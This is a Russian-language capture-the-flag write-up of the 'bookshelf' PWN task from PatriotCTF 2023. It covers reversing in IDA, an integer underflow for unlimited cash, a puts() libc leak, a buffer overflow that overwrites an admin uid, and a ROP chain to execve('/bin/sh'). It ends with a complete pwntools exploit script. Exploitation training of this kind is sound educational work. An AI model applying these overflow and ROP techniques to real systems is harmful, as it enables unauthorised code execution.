Недавно прошел PatriotCTF 2023.  Таски хорошие особенно для начинающих. На нем можно быть проверить свои навыки в разделах: PWN Reverse Forensics Crypto Web Stego OSINT Зацепил меня таск по разделу PWN. Чтобы его решить необходимы знания в: Реверсе ROP-цепочках Базовых понятиях интов Знать что такое переполнение буффера Это экзамен для начинающих, потому что в таске включены все базовые уязвимости и атаки, которые должен знать PWN-ер. Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий Первичный анализ, по крайней мере у меня, начиинается так: file strings checksec xxd binary | grep "UPX" seccomp-tools Вручную прописывать это не буду, потому что все это реализовано в программе  J0llyTr0LLz. Главное окно выглядит так: Горячей клавишей Ctrl+O откроем файл и посмотрим, что он из себя представляет По readelf в принципе ничего такого не видно. Просто эльфарь 64 разрядности и порядком байт little-end. В file тоже ничего удивительного Нет канарейки, отключена рандомизация адресов и бинарь не упакован UPX Проверим, есть ли гаджеты по типу pop rax; ret или pop rsi; ret. Вдруг пригодятся. Ничего не нашли... Теперь чекнем стоки нажав комбинацию Ctrl+S. Проверю, есть ли seccomp. Они, обычно, отображаются в строках Ничего особенного не нашли. Пойдем смотреть сервис. В главном окне отображается меню, в котором можно: Написать книгу Купить книгу Написать спецкнигу, только нужно быть админом Выйти Попробуем купить книгу: Ладно. Купили книгу и, наверное, осталось 75 баксов и тратить больше не можем. Так же нас просят какое-то пожертвование. Пока оставим этот пункт. Попробуем написать книгу. Видимо, перед нами выбор или написать книгу или создать аудиокнигу Ответим, например, нет( N ) и отправим какую-нибудь строчку После игры с сервисом можно выделить только то, что необходимо попасть в пункт номер 3 - Write a special book (ADMINS ONLY) (0). Туда и будем стремиться попасть. Реверс программы будет осуществляться в IDA Pro. Начну реверс с функции, в которой покупаем книги. Все блоки похожи. Хватает денег - вычитается сумма, иначе сообщение You don't have enough cash!. Посмотрим на глобальную переменную cash. Видно, что это int. Может это unsigned int? Просто, если рассуждать именно так, то получается следующее: когда cash меньше 0, в нем будем содержаться самое большое значение если cash < 0, то cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295  Вопрос теперь другой. Как дойти до этого? Насколько помню, была речь о пожертвовании. Прореверсим этот кусок кода И тут можно увидеть, что нет проверки cash. Всегда будет отниматься 10 поинтов при пожертвовании. Проверим теперь теорию с беззнаковым целочисленным. Сразу попробуем автоматизировать это for i in range(8):     io.recvuntil(b'4) Check out')     io.sendline(b'2')     io.sendline(b'2')     io.sendline(b'y') Посмотрим результат выполнения Настал момент, когда ушли в минус. Проверим баланс Теория сработала! Это была переменная с типом данных -  unsigned int. Теперь купим книжку Как и ожидалось - получили утечку puts() из libc. Это означает, что можно получить базу libc, и дальше делать что угодно угодно. База считается примерно так: LEAK_FUNC_ADDR = LIBC_BASE + OFFSET Значит, ищем смещение puts() в библиотеке и вычитаем это значение из утечки. С этим разобрались. Теперь посмотрим, как получить доступ к админ панеле. Перед вызовом функции передается аргумент. Сразу переименовал его в uid По умолчанию он равен 0 Однако, память утсроена так, что сначала идет какой-то буффер, потом выбор пункта меню и только после этого всего - uid. По смещениям можно сделать такие выводы: buf размером 43 байта choose размером 1 байт uid размером 4 байта Значит нужно ввести как минимум 46 символов для переполнения. То есть, если переполнить буффер, то можно перезаписать uid. Теперь вопрос: как переполнить буффер? По перекрестным ссылкам можно найти это место в главной функции Получается, что аргумент функции writeBook() - указатель на буффер. В функции он передается еще одному массиву Этот массив,  используется в самом конце. В него или добавляется вводимая нами строка или копируется Ввод   ограничен 40 символами И как тогда переполнить? Ответ прост. Нужно лишь пролистать листинг чуть выше Здесь можно увидеть следующее. Если нажимаем y, то в массив  добавляется строка длиной 6 - (AB):  Картина  будет следующая: s = '(AB): 's += 'A' * 40len(s) = 46 После этого массив будет равен 46 символам, как нам и надо. Тут даже выдумывать ничего не нужно. Банально отправляем 40 символов и на вопрос про аудиокнигу отвечаем положительно Как видим, uid изменился на значение 65, что по ASCII таблице означает A. Теперь заглянем в админскую функцию Просят что-то ввести. Просто попробуем отправить 256 каких-нибудь символов Программа упала! Значит это и есть уязвимое место. Настало время писать эксплойт Взглянув на память в IDA, можно понять, что для переполнения достаточно 64 символа. Поэтому размер мусорных данных для переполнения - 56 байтов, а все остальное полезная нагрузка. Ранее была вычислена база libc, поэтому все функции, строки, гаджеты будем искать в приложенном файле  - libc.so.6 Чтобы получить шелл, нужно выполнить такой системный вызов execve("/bin/sh",0,0) Посмотрим в J0llyTr0LLz таблицу системных вызовов, нажав на кнопку F1 rax = 0x3b rdi = /bin/sh rsi = 0 rdi = 0 Нужно найти 4 гаджета по типу pop rax/rdi/rsi/rdx  ret  Со строкой /bin/sh проблем  нет, потому что в любой библиотеке libc эта строка уже вшита. С syscall такая же история. После поиска получил такие наброски: SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B) BIN_SH = p64(LIBC_BASE + 0x0000000001D8698) POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0) POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51) POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497) POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5) Теперь осталось составить rop-цепочку payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC и отправить это программе io.recvuntil(b'4) Check out') io.sendline(b'3') io.sendline(junk + payload) Теперь складываем все шаги и получаем такой эксплойт: from pwn import * exe = context.binary = ELF('./bookshelf') def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.EDB: return process(['edb','--run',exe.path] + argv, *a, **kw) else: return process([exe.path] + argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) def live_richy(): io.sendline(b'2') io.sendline(b'2') io.sendline(b'y') def leak_plt_puts_func(): tmp = str(io.recvuntil(b'rested')) tmp = tmp[2:len(tmp)-1] tmp = tmp.split("\n")[0].split(" ") ret_val = int(tmp[len(tmp)-2][2:],16) return ret_val def get_admin(): junk = b'A'*40 io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)') io.sendline(b'1') io.recvline() io.sendline(b'y') io.sendline(junk) def get_shell(LIBC_BASE): SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B) BIN_SH = p64(LIBC_BASE + 0x0000000001D8698) POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0) POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51) POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497) POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5) junk = b'A' * 56 payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC        io.recvuntil(b'4) Check out')       io.sendline(b'3')       io.sendline(junk + payload) io = start() leak_plt_puts = 0 for i in range(8): io.recvuntil(b'4) Check out') live_richy() io.sendline(b'2')io.sendline(b'3') leak_plt_puts = leak_plt_puts_func()LIBC_BASE = leak_plt_puts - 0x000000000080ED0log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))io.sendline() get_admin()get_shell(LIBC_BASE) io.interactive() После запуска получаем шелл